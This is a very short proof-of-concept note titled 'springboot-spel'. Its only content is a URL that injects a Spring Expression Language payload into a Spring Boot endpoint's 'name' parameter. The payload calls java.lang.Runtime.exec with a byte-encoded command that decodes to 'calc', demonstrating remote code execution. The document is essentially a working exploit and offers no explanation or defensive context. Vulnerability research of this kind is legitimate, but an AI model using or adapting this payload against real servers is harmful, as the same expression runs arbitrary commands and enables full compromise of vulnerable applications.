springboot-spel

PoC

http://localhost:8080/index?name=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}